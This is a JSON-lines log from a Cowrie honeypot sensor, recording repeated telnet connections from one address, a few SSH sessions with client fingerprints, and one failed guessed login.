{"eventid":"cowrie.session.closed","duration":31.153324127197266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:25.220717Z","src_ip":"198.50.122.223","session":"d300c0dc031b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.343647480010986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:25.477626Z","src_ip":"198.50.122.223","session":"bf547eedcbb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95537495613098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:25.483407Z","src_ip":"198.50.122.223","session":"bf35bfab9d84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54992,"dst_ip":"10.17.0.5","dst_port":23,"session":"52ce37bddf5b","protocol":"telnet","message":"New connection: 198.50.122.223:54992 (10.17.0.5:23) [session: 52ce37bddf5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:25.547546Z"}
{"eventid":"cowrie.session.closed","duration":31.63449215888977,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:25.706283Z","src_ip":"198.50.122.223","session":"7379acc2cffa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56436,"dst_ip":"10.17.0.5","dst_port":23,"session":"449a32fdf157","protocol":"telnet","message":"New connection: 198.50.122.223:56436 (10.17.0.5:23) [session: 449a32fdf157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:25.840266Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56746,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f9fb2437eb4","protocol":"telnet","message":"New connection: 198.50.122.223:56746 (10.17.0.5:23) [session: 0f9fb2437eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:25.905231Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57342,"dst_ip":"10.17.0.5","dst_port":23,"session":"76629bc59e88","protocol":"telnet","message":"New connection: 198.50.122.223:57342 (10.17.0.5:23) [session: 76629bc59e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:26.039957Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":58162,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef418fa837f0","protocol":"telnet","message":"New connection: 198.50.122.223:58162 (10.17.0.5:23) [session: ef418fa837f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:26.295017Z"}
{"eventid":"cowrie.session.closed","duration":30.691247940063477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:26.379273Z","src_ip":"198.50.122.223","session":"c7af41dc418f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59374,"dst_ip":"10.17.0.5","dst_port":23,"session":"5170be5b471a","protocol":"telnet","message":"New connection: 198.50.122.223:59374 (10.17.0.5:23) [session: 5170be5b471a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:26.548580Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54996,"dst_ip":"10.17.0.5","dst_port":23,"session":"f62ee904f592","protocol":"telnet","message":"New connection: 198.50.122.223:54996 (10.17.0.5:23) [session: f62ee904f592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:26.553847Z"}
{"eventid":"cowrie.session.closed","duration":31.212835788726807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:26.558630Z","src_ip":"198.50.122.223","session":"5da35763cb3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.411770820617676,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:26.915138Z","src_ip":"198.50.122.223","session":"b86bbecfe578","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":35722,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d68a26549b7","protocol":"telnet","message":"New connection: 198.50.122.223:35722 (10.17.0.5:23) [session: 0d68a26549b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:27.522696Z"}
{"eventid":"cowrie.session.closed","duration":31.0442852973938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:28.425309Z","src_ip":"198.50.122.223","session":"993a8b8ee60e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.961644411087036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:28.469096Z","src_ip":"198.50.122.223","session":"fc3aeb76ed64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16807746887207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:28.598326Z","src_ip":"198.50.122.223","session":"6697e75f02a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.313929796218872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:29.609667Z","src_ip":"198.50.122.223","session":"9be868602ed2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":47430,"dst_ip":"10.17.0.5","dst_port":23,"session":"cab0247a048d","protocol":"telnet","message":"New connection: 198.50.122.223:47430 (10.17.0.5:23) [session: cab0247a048d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:29.930634Z"}
{"eventid":"cowrie.session.closed","duration":30.827253580093384,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:30.290164Z","src_ip":"198.50.122.223","session":"8f38f3bf5d8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07174801826477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:30.712378Z","src_ip":"198.50.122.223","session":"34bb2c1ec50f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52074,"dst_ip":"10.17.0.5","dst_port":23,"session":"73ec61e34476","protocol":"telnet","message":"New connection: 198.50.122.223:52074 (10.17.0.5:23) [session: 73ec61e34476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:30.932486Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52684,"dst_ip":"10.17.0.5","dst_port":23,"session":"07ca45d06c4c","protocol":"telnet","message":"New connection: 198.50.122.223:52684 (10.17.0.5:23) [session: 07ca45d06c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:31.122110Z"}
{"eventid":"cowrie.session.closed","duration":30.534517765045166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:31.292062Z","src_ip":"198.50.122.223","session":"751517902c3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.926510095596313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:31.332074Z","src_ip":"198.50.122.223","session":"0ad17c831bf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55702,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a9854b1051b","protocol":"telnet","message":"New connection: 198.50.122.223:55702 (10.17.0.5:23) [session: 2a9854b1051b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:31.725657Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56854,"dst_ip":"10.17.0.5","dst_port":23,"session":"ead88b0a3e6b","protocol":"telnet","message":"New connection: 198.50.122.223:56854 (10.17.0.5:23) [session: ead88b0a3e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:31.958713Z"}
{"eventid":"cowrie.session.closed","duration":31.263480186462402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:32.339488Z","src_ip":"198.50.122.223","session":"da23b7ae331f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05958890914917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:32.531236Z","src_ip":"198.50.122.223","session":"8ac8c9acc66d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59362,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9a14cc31b1d","protocol":"telnet","message":"New connection: 198.50.122.223:59362 (10.17.0.5:23) [session: f9a14cc31b1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:32.559478Z"}
{"eventid":"cowrie.session.closed","duration":31.49028515815735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:32.972189Z","src_ip":"198.50.122.223","session":"a1f83da9a329","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.666478633880615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:34.114366Z","src_ip":"198.50.122.223","session":"d4d6d67d1d9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21902561187744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:34.273341Z","src_ip":"198.50.122.223","session":"63fcd41a8633","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74138307571411,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:34.342961Z","src_ip":"198.50.122.223","session":"ed97a445262e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":37108,"dst_ip":"159.203.135.109","dst_port":22,"session":"085bbcd47281","protocol":"ssh","message":"New connection: 2.203.183.35:37108 (159.203.135.109:22) [session: 085bbcd47281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:34.346804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:34.350463Z","src_ip":"2.203.183.35","session":"085bbcd47281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:34.454522Z","src_ip":"2.203.183.35","session":"085bbcd47281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40634,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2b21e7e2488","protocol":"telnet","message":"New connection: 198.50.122.223:40634 (10.17.0.5:23) [session: d2b21e7e2488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:34.535913Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41148,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd3b1a731c9d","protocol":"telnet","message":"New connection: 198.50.122.223:41148 (10.17.0.5:23) [session: fd3b1a731c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:34.613660Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!1qwerty","message":"login attempt [admin/!1qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:34.969366Z","src_ip":"2.203.183.35","session":"085bbcd47281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.449452877044678,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:35.372037Z","src_ip":"198.50.122.223","session":"96dad5260612","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.417670249938965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:35.396333Z","src_ip":"198.50.122.223","session":"2aaa7f41ce2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:36.078477Z","src_ip":"2.203.183.35","session":"085bbcd47281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.364283561706543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:36.196197Z","src_ip":"198.50.122.223","session":"2de1f70ed14d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49090,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f8806b8dab2","protocol":"telnet","message":"New connection: 198.50.122.223:49090 (10.17.0.5:23) [session: 0f8806b8dab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:36.284770Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49644,"dst_ip":"10.17.0.5","dst_port":23,"session":"12af85e0c1e3","protocol":"telnet","message":"New connection: 198.50.122.223:49644 (10.17.0.5:23) [session: 12af85e0c1e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:36.431498Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53348,"dst_ip":"10.17.0.5","dst_port":23,"session":"effeb0e5b244","protocol":"telnet","message":"New connection: 198.50.122.223:53348 (10.17.0.5:23) [session: effeb0e5b244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:37.082451Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56414,"dst_ip":"10.17.0.5","dst_port":23,"session":"791e7f9067a7","protocol":"telnet","message":"New connection: 198.50.122.223:56414 (10.17.0.5:23) [session: 791e7f9067a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:37.668651Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56534,"dst_ip":"10.17.0.5","dst_port":23,"session":"596c7bad918c","protocol":"telnet","message":"New connection: 198.50.122.223:56534 (10.17.0.5:23) [session: 596c7bad918c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:37.697492Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57028,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffd7e0e6e2b3","protocol":"telnet","message":"New connection: 198.50.122.223:57028 (10.17.0.5:23) [session: ffd7e0e6e2b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:37.776889Z"}
{"eventid":"cowrie.session.closed","duration":31.812312602996826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:37.913838Z","src_ip":"198.50.122.223","session":"8181f3c3e4db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00201988220215,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:38.307939Z","src_ip":"45.65.130.151","session":"4f9da4a1719a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88365411758423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:38.378097Z","src_ip":"198.50.122.223","session":"225f34ed6111","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.68544244766235,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:38.805336Z","src_ip":"185.26.126.47","session":"9ec916ab76b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76638436317444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:39.125532Z","src_ip":"198.50.122.223","session":"c0ade82ce4f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.150949239730835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:39.244876Z","src_ip":"198.50.122.223","session":"17d55ad03296","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39388,"dst_ip":"10.17.0.5","dst_port":23,"session":"becede73bae0","protocol":"telnet","message":"New connection: 198.50.122.223:39388 (10.17.0.5:23) [session: becede73bae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:40.053807Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.65.130.151","src_port":14871,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff787f319dde","protocol":"telnet","message":"New connection: 45.65.130.151:14871 (10.17.0.5:23) [session: ff787f319dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:40.473637Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42858,"dst_ip":"10.17.0.5","dst_port":23,"session":"115a5e3b2509","protocol":"telnet","message":"New connection: 198.50.122.223:42858 (10.17.0.5:23) [session: 115a5e3b2509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:40.694036Z"}
{"eventid":"cowrie.session.closed","duration":30.767085552215576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:41.206054Z","src_ip":"198.50.122.223","session":"439d5646e3c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.986368894577026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:41.397655Z","src_ip":"198.50.122.223","session":"35d394c180e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.137609243392944,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:41.486392Z","src_ip":"198.50.122.223","session":"3857fec98b63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.325332641601562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:42.401900Z","src_ip":"198.50.122.223","session":"532522188976","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.016923904418945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:42.568380Z","src_ip":"198.50.122.223","session":"687564c6f7fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.141629934310913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:42.652815Z","src_ip":"198.50.122.223","session":"580ac22f3214","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.401843309402466,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:42.658264Z","src_ip":"198.50.122.223","session":"4515b0438f05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55440,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c048e5227c2","protocol":"telnet","message":"New connection: 198.50.122.223:55440 (10.17.0.5:23) [session: 7c048e5227c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:43.208922Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41236,"dst_ip":"10.17.0.5","dst_port":23,"session":"910acb58a823","protocol":"telnet","message":"New connection: 198.50.122.223:41236 (10.17.0.5:23) [session: 910acb58a823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:43.564591Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57782,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a36ebf1049b","protocol":"telnet","message":"New connection: 198.50.122.223:57782 (10.17.0.5:23) [session: 0a36ebf1049b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:43.641868Z"}
{"eventid":"cowrie.session.closed","duration":31.051233768463135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:44.384490Z","src_ip":"198.50.122.223","session":"6d6e31aa4d5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18456530570984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:44.401172Z","src_ip":"198.50.122.223","session":"1a8b467fb327","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.885798692703247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:44.534228Z","src_ip":"198.50.122.223","session":"04ddee6ef92a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34954,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddebf038d44e","protocol":"telnet","message":"New connection: 198.50.122.223:34954 (10.17.0.5:23) [session: ddebf038d44e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:44.652278Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41538,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc20d8aacf22","protocol":"ssh","message":"New connection: 159.203.92.129:41538 (159.203.135.109:22) [session: bc20d8aacf22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:45.065185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:27:45.071247Z","src_ip":"159.203.92.129","session":"bc20d8aacf22","protocol":"ssh"}
